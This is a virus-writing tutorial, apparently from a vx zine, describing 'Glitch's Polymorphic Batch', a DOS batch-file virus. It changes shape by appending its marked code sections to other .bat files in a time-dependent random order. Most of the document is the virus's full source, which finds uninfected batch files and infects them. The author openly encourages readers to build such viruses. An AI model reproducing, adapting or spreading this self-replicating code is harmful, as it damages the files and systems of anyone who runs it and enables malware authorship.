Tutorials - Glitch's Polymorphic Batch

Well, first off, you have to think about the way you can make your batch virus polymorphic... Simple? Well, not quite. At the minute, there are two ways, the first I have seen quite a few times and use PKZIP and other compression engines as their "Mutation Engine", then you get mine.. Totally batch scripting.

A quick note - If you intend to use my batch scripting method, try and keep your code size down, GPB was 7K at 0-generation and 6Mb at 10-generation!

I will only cover my method of polymorphism, because I have not generally played with "Mutation Engines" :)

Usually, when we say a virus is polymorphic, we think of the virus being encrypted with a random generator. This is NOT the only way, POLYMORPHIC means "Many Shapes" (as you should know by now!) and the bytes doen't literally have to change to be poly- morphic. In fact, I think viruses which use MtE, DAME, RTFM etc. should be called "Shape-Shifting" viruses, as they only change their bits, not structure.. GPB changed EVERY time, but stayed in its "readable" scripting.

Okay, you decided on a polymophic batch using scripting only for compatability. Okay, As far as I'm aware, with present coding it's impossible to ENCRYPT batch scripting, I might work on code for this. So, to make it polymorphic, we're going to have to shift the virus around.

To do this, we're going to have to create sections in our code. Now remember, to copy the virus, you need a string that is in EVERY line. This rule can be bent slightly, by turning the string in to section markers..

So each and every routine needs an identifier. This is used to write each section in any desired order.

PROBLEM - Because I use markers to identify sections, the markers HAVE to be in the infection routines, ALL of them. So this means when an infection occurs, these routines are appended to the end of each routine!

- Size increases EVERY infection (if somebody can help me out with this, please EMail me!)
- It will try and copy contents to you file.

This was the first problem I thought about when creating the poly bat but was soon conqured, use the following line -

Well, sorry if this didn't make much sense. I'm not a BATCH Queen! Yes, I did say QUEEN! Anyway, you should have written at least a normal Batch virus before you attempt a poly bat.

If you don't understand how it works etc. and want more help, just ask! I seem to be more helpful when directing my attention to somebody who gives me feedback, and I can help them thru the bits they struggle!

Well, Good Luck! I hope you can do better than mine! I wish I could get the size problem fixed! Oh well, back to Win32.Amoeba, and Boot (sector infector) ;P

Below is GPB's script.... Take care now...

```
@echo off%[GPB_L0.BAT g]%
if not exist %0.BAT goto GPB_Exit
%[0.BAT g]%goto GPB_L3

:GPB_L3
for %%f in (%:GPB_L3%*.bat) do set GPB_File=%%f
%[:GPB_L3]%goto GPB_L5

:GPB_L5
find /i "GPB"<%GPB_File%>nul %[:GPB_L5]%
%[:GPB_L5]%if errorlevel 1 goto GPB_L7
%[:GPB_L5]%goto GPB_Exit

:GPB_L7
%[:GPB_L7]%echo. |time >000
%[:GPB_L7]%find "0:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L14
%[:GPB_L7]%find "1:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L15
%[:GPB_L7]%find "2:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L16
%[:GPB_L7]%find "3:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L11
%[:GPB_L7]%find "4:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L13
%[:GPB_L7]%find "5:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L8
%[:GPB_L7]%find "7:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L12
%[:GPB_L7]%find "8:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L10
%[:GPB_L7]%find "9:" <000>nul
%[:GPB_L7]%if errorlevel 1 goto GPB_L9
%[:GPB_L7]%goto GPB_L7

:GPB_L8
%[:GPB_L8]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L8]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L8]%goto GPB_Exit

:GPB_L9
%[:GPB_L9]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
```

```
%[:GPB_L9]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L9]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L9]%goto GPB_Exit

:GPB_L10
%[:GPB_L10]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L10]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L10]%goto GPB_Exit

:GPB_L11
%[:GPB_L11]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L11]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L11]%goto GPB_Exit

:GPB_L12
%[:GPB_L12]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
```

```
%[:GPB_L12]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L12]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L12]%goto GPB_Exit

:GPB_L13
%[:GPB_L13]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L13]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L13]%goto GPB_Exit

:GPB_L14
%[:GPB_L14]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L14]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L14]%goto GPB_Exit

:GPB_L15
%[:GPB_L15]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
```

```
%[:GPB_L15]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L15]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L15]%goto GPB_Exit

:GPB_L16
%[:GPB_L16]%find /i "0.BAT g"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L16"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L7"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L14"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L10"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L8"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L3"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L12"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L15"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L5"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L9"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L13"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_L11"<%0.BAT>>%GPB_File%
%[:GPB_L16]%find /i ":GPB_Exit"<%0.BAT>>%GPB_File%
%[:GPB_L16]%goto GPB_Exit

:GPB_Exit
%[:GPB_Exit]%del 000
```